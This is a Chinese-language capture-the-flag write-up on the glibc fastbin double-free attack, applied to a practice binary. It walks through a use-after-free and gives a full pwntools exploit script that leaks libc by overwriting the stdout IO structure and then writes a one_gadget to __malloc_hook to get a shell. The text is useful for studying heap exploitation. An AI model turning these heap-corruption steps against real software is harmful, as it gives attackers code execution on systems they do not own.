常回家看看之fastbin_attack
原理分析
下面主要看一下fastbin，在glibc2.26以前对fastbin double free的检查没有那么严格，也就是说，如果程序里面有UAF漏洞，我们只要free第一个堆块之后free一个别的堆块，再次free第一个堆块，导致double free，实现堆块的伪造和堆块重叠。
也就是如下这种情况
在pwngdb里面是这样的
那么下次申请堆块的时候会把chunk0申请走，如果此时修改了chunk0的fd指针那么就导致把fake_chunk加入到fastbin链表中
就是如下这种情况
那么就可以实现堆块重叠
例题演示
题目保护情况
64位ida逆向
菜单
add函数，存在堆块数量上限，申请堆块之前申请了一个0x28大小的控制堆块，在控制堆块+8位置写上数据堆块地址，然后最后可以向控制堆块+16处的地址可以输入23字节的数据
free函数，存在UAF漏洞，及可以double free
show函数，没有实际的功能
分析
程序没有show功能，我们申请堆块的时候先申请到的控制堆块，然后才是自己输入的size的堆块，但是大小有限制导致不难申请到unsortbin范围大小的chunk，但是我们可以向控制堆块输入内容，导致可以伪造chunk的size位，泄露libc地址只能位置堆块实现堆块重叠，程序存在UAF漏洞，可以double free 从而可以伪造堆块，修改size为unsortbin 大小的范围然后free掉堆块
此时堆块情况
但是此时堆块size位为0x91，申请堆块的时候fastbin有检查，因此我们要复原堆块的size，但是由于没有show功能，所以可以申请堆块到IO结构体上，修改_IO_write_base 导致泄露libc地址，远程的话需要爆破高字节。
堆块7为了防止申请堆块的时候控制堆块切割unsortbin chunk。
然后用同样的手法在__malloc_hook 和 _realloc_hook布置上one_gadget，即可拿到shell
EXP
from pwn import * context(log_level='debug',arch='amd64',os='linux') io = process('../pwn162') #io = remote('pwn.challenge.ctf.show', 28304) libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def Add(size,name,msg=8 * b'x00' + p64(0x71) + b'x00' * 7): io.sendlineafter("Your choice : ", '1') io.sendlineafter("size of the daniu's name: n", str(size)) io.sendafter("daniu's name:n", name) io.sendlineafter("daniu's message:n", msg) def Delete(idx): io.sendlineafter("Your choice : ", '3') io.sendlineafter("daniu's index:n", str(idx)) io.recvline() Add(0x60, 14 * p64(0x71)) # 0 Add(0x60, 14 * p64(0x71)) # 1 #gdb.attach(io) Delete(0) Delete(1) Delete(0) gdb.attach(io) Add(0x60, 'x20') # 2 Add(0x60, 'x20') # 3 Add(0x60, 'x20') # 4 Add(0x60, p64(0) + p64(0x71)) # 5 #gdb.attach(io) Delete(0) Delete(5) Add(0x60, p64(0) + p64(0x91)) # 6 Add(0x20, 'bbbb') # 7 Delete(0) Delete(5) Delete(7) Add(0x60, p64(0) + p64(0x71) + b'xddx45') # 8 #gdb.attach(io) Delete(7) Add(0x60, 'deadbeef') # 9 Delete(7) #gdb.attach(io) io.sendlineafter("Your choice : ", '1') io.sendlineafter("size of the daniu's name: n", str(0x60)) io.sendafter("daniu's name:n", 0x33 * b'x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'x58') libc_base = u64(io.recv(6).ljust(8,b'x00')) - 0x3c46a3 success('libc_base---->'+hex(libc_base)) pause() malloc_hook = libc_base +libc.sym['__malloc_hook'] one = libc_base + 0xf1147 realloc = libc_base + libc.sym['__realloc_hook'] #gdb.attach(io) io.sendline('a') Delete(5) Delete(0) Delete(5) Delete(7) Add(0x60,p64(malloc_hook -0x23)) Delete(7) Add(0x60,p64(malloc_hook -0x23)) Delete(7) Add(0x60,p64(malloc_hook -0x23)) Delete(7) payload = b'a'*0xb + p64(one) + p64(realloc) #gdb.attach(io) Add(0x60,payload) #gdb.attach(io) io.sendlineafter("Your choice : ", '1') io.interactive() 
